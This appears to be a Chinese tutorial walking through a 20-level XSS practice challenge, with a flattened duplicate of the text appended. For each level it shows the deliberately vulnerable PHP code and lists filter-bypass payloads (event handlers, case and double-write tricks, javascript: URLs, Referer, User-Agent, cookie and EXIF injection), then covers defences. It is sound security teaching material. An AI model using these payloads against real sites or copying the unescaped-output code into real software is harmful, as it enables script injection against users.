xss挑战之旅
字数 1954 2025-08-24 16:48:07

XSS挑战之旅 - 全面教学文档

1. XSS基础概念

XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的安全漏洞。攻击者通过在网页中插入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行。

2. XSS挑战关卡详解

Level 1: 无过滤基础XSS

关键代码:

ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

分析:

  • 直接输出用户输入,没有任何过滤
  • 最简单的XSS注入点

Payload示例:

<script>alert('xss')</script>
<svg/onload=alert('xss')>
<script>prompt('xss')</script>
<script>confirm('xss')</script>

Level 2: HTML实体编码绕过

关键代码:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
."<center><form action=level2.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />

分析:

  • 使用htmlspecialchars()函数转换特殊字符
  • 注入点在input标签的value属性中
  • 需要闭合标签才能执行脚本

Payload示例:

" onmouseover=alert(/xss/)>click
"><script>alert(/xss/)</script>
" onchange=alert`document.domain` 
" oninput=alert`document.domain`
" onfocus=alert(document.domain) autofocus;

Level 3: 尖括号过滤绕过

关键代码:

$str = $_GET["keyword"];
$str2=str_replace("<", "", $str);
$str3=str_replace(">", "", $str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<center><form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />

分析:

  • 过滤了<>符号
  • 使用str_replace函数,区分大小写
  • 需要利用事件处理器绕过

Payload示例:

' onclick=alert(/xss/)//
' onmouseover=alert('xss')//
' oninput=alert`xss` //
' onchange=alert`xss` //

Level 4: 多重过滤绕过

关键代码:

  • 过滤了<>符号
  • 使用htmlspecialchars()函数
  • 需要在不使用尖括号的情况下构造XSS

Payload示例:

" onfocus=alert(xss) autofocus=
" onmouseover=alert('xss')
" oninput=alert`xss`
" onchange=alert`xss`//

Level 5: 标签和事件过滤绕过

关键代码分析:

  • <script转换为<scr_ipt
  • on转换为o_n
  • 使用strtolower()使大小写绕过失效
  • 未过滤尖括号,可使用a标签

Payload示例:

"><iframe src=javascript:alert(/xss/)>
"><a href="javascript:%61lert(5)">click me !!!</a>
"><a href="javascript:alert(/xss/)"

Level 6: 大小写绕过

关键代码分析:

  • 使用str_replace函数过滤
  • 没有大小写限制
  • 可通过大小写变换绕过

Payload示例:

"> <SCRIpt>alert(/xss/)</SCriPT>
"> 
"> <a HrEf="javascript:alert(/xss/)">click me!!!</a>
" ONclick=alert(/xss/) //
"><svg x="" ONclick=alert(/xss/)>

Level 7: 双写绕过

关键代码分析:

  • 过滤script, on, src, data, href
  • 大小写绕过失效
  • 可使用双写绕过

Payload示例:

" oonnclick=alert(/xss/)//
" oonnmouseover=alert(/xss/)//
" oonninput=alert(/xss/) "

Level 8: 伪协议绕过

关键代码分析:

  • 过滤多种关键词并转换
  • 双引号被编码
  • 输出点在a标签的href属性中
  • 可使用javascript伪协议

Payload示例:

javascript:%61lert(/XSS/)
javascript:%61lert`/xss/`
javascript:alert`/xss/`

Level 9: URL检测绕过

关键代码分析:

  • 类似Level 8的过滤
  • 增加了自动检测URL,需要包含http://
  • 可通过注释和换行绕过

Payload示例:

javascript:alert(1)//http://
javascript:%0dhttp://%0dalert(/xss/)

Level 10: 隐藏输入框利用

关键代码分析:

  • 需要两个参数:keywordt_sort
  • 尖括号被过滤
  • 有隐藏输入框可利用

Payload示例:

keyword=test&t_sort=" type="text" onclick="alert(/xss/)
keyword=test&t_sort=" type="text" onmouseover="alert(/xss/)

Level 11: HTTP Referer头部注入

关键代码分析:

  • HTTP_REFERER获取输入
  • 需要修改HTTP头部

Payload示例:

Referer: " onmouseover=alert(/xss/) type="text"
Referer: " onclick="alert(/xss/)" type="text

Level 12: User-Agent头部注入

关键代码分析:

  • HTTP_USER_AGENT获取输入
  • 需要修改HTTP头部

Payload示例:

User-Agent: " onmouseover=alert(/xss/) type="text"
User-Agent: " onclick="alert(/xss/)" type="text"

Level 13: Cookie注入

关键代码分析:

  • 从cookie获取输入
  • 需要修改cookie值

Payload示例:

Cookie: user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(/xss/)

Level 14: EXIF XSS

关键代码分析:

  • 通过图片EXIF元数据注入
  • 使用工具修改图片元数据

Payload示例:

exiftool -Artist=' ">' brute.jpeg

Level 15: AngularJS ng-include利用

关键代码分析:

  • 使用AngularJS的ng-include指令
  • 可包含其他页面并传递参数

Payload示例:

/level15.php?src='level1.php?name=test'

Level 16: 换行符绕过

关键代码分析:

  • 大小写绕过失效
  • 过滤了script, /等字符
  • 可使用%0a, %0d换行绕过

Payload示例:


<iframe%0dsrc=0%0donmouseover=alert`/xss/`></iframe>
<svg%0aonload=alert`/xss/`></svg>

Level 17-18: 事件处理器注入

Payload示例:

arg01=a&arg02=%20onmouseover=alert`1`

Level 19: Flash XSS

关键代码分析:

  • 需要分析Flash源码
  • 利用getURL函数和contentIsLink函数

Payload示例:

arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

Level 20: ZeroClipboard XSS

Payload示例:

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

3. XSS防御方法

  1. 输入验证:

    • 对用户输入进行严格验证
    • 使用白名单而非黑名单
  2. 输出编码:

    • 使用htmlspecialchars()等函数
    • 根据上下文使用适当的编码
  3. 内容安全策略(CSP):

    • 限制脚本来源
    • 防止内联脚本执行
  4. HTTP头部安全:

    • 设置X-XSS-Protection
    • 使用HttpOnly标志的cookie
  5. 框架安全:

    • 使用现代框架的安全特性
    • 避免直接DOM操作

4. 总结

本教学文档详细分析了20个XSS挑战关卡,展示了各种XSS攻击技术和绕过方法。理解这些技术有助于开发者更好地防御XSS攻击。在实际开发中,应综合运用多种防御措施,确保Web应用的安全性。

XSS挑战之旅 - 全面教学文档 1. XSS基础概念 XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的安全漏洞。攻击者通过在网页中插入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行。 2. XSS挑战关卡详解 Level 1: 无过滤基础XSS 关键代码 : 分析 : 直接输出用户输入,没有任何过滤 最简单的XSS注入点 Payload示例 : Level 2: HTML实体编码绕过 关键代码 : 分析 : 使用 htmlspecialchars() 函数转换特殊字符 注入点在input标签的value属性中 需要闭合标签才能执行脚本 Payload示例 : Level 3: 尖括号过滤绕过 关键代码 : 分析 : 过滤了 < 和 > 符号 使用 str_replace 函数,区分大小写 需要利用事件处理器绕过 Payload示例 : Level 4: 多重过滤绕过 关键代码 : 过滤了 < 和 > 符号 使用 htmlspecialchars() 函数 需要在不使用尖括号的情况下构造XSS Payload示例 : Level 5: 标签和事件过滤绕过 关键代码分析 : 将 <script 转换为 <scr_ipt 将 on 转换为 o_n 使用 strtolower() 使大小写绕过失效 未过滤尖括号,可使用a标签 Payload示例 : Level 6: 大小写绕过 关键代码分析 : 使用 str_replace 函数过滤 没有大小写限制 可通过大小写变换绕过 Payload示例 : Level 7: 双写绕过 关键代码分析 : 过滤 script , on , src , data , href 大小写绕过失效 可使用双写绕过 Payload示例 : Level 8: 伪协议绕过 关键代码分析 : 过滤多种关键词并转换 双引号被编码 输出点在a标签的href属性中 可使用javascript伪协议 Payload示例 : Level 9: URL检测绕过 关键代码分析 : 类似Level 8的过滤 增加了自动检测URL,需要包含 http:// 可通过注释和换行绕过 Payload示例 : Level 10: 隐藏输入框利用 关键代码分析 : 需要两个参数: keyword 和 t_sort 尖括号被过滤 有隐藏输入框可利用 Payload示例 : Level 11: HTTP Referer头部注入 关键代码分析 : 从 HTTP_REFERER 获取输入 需要修改HTTP头部 Payload示例 : Level 12: User-Agent头部注入 关键代码分析 : 从 HTTP_USER_AGENT 获取输入 需要修改HTTP头部 Payload示例 : Level 13: Cookie注入 关键代码分析 : 从cookie获取输入 需要修改cookie值 Payload示例 : Level 14: EXIF XSS 关键代码分析 : 通过图片EXIF元数据注入 使用工具修改图片元数据 Payload示例 : Level 15: AngularJS ng-include利用 关键代码分析 : 使用AngularJS的 ng-include 指令 可包含其他页面并传递参数 Payload示例 : Level 16: 换行符绕过 关键代码分析 : 大小写绕过失效 过滤了 script , / 等字符 可使用 %0a , %0d 换行绕过 Payload示例 : Level 17-18: 事件处理器注入 Payload示例 : Level 19: Flash XSS 关键代码分析 : 需要分析Flash源码 利用 getURL 函数和 contentIsLink 函数 Payload示例 : Level 20: ZeroClipboard XSS Payload示例 : 3. XSS防御方法 输入验证 : 对用户输入进行严格验证 使用白名单而非黑名单 输出编码 : 使用 htmlspecialchars() 等函数 根据上下文使用适当的编码 内容安全策略(CSP) : 限制脚本来源 防止内联脚本执行 HTTP头部安全 : 设置 X-XSS-Protection 使用 HttpOnly 标志的cookie 框架安全 : 使用现代框架的安全特性 避免直接DOM操作 4. 总结 本教学文档详细分析了20个XSS挑战关卡,展示了各种XSS攻击技术和绕过方法。理解这些技术有助于开发者更好地防御XSS攻击。在实际开发中,应综合运用多种防御措施,确保Web应用的安全性。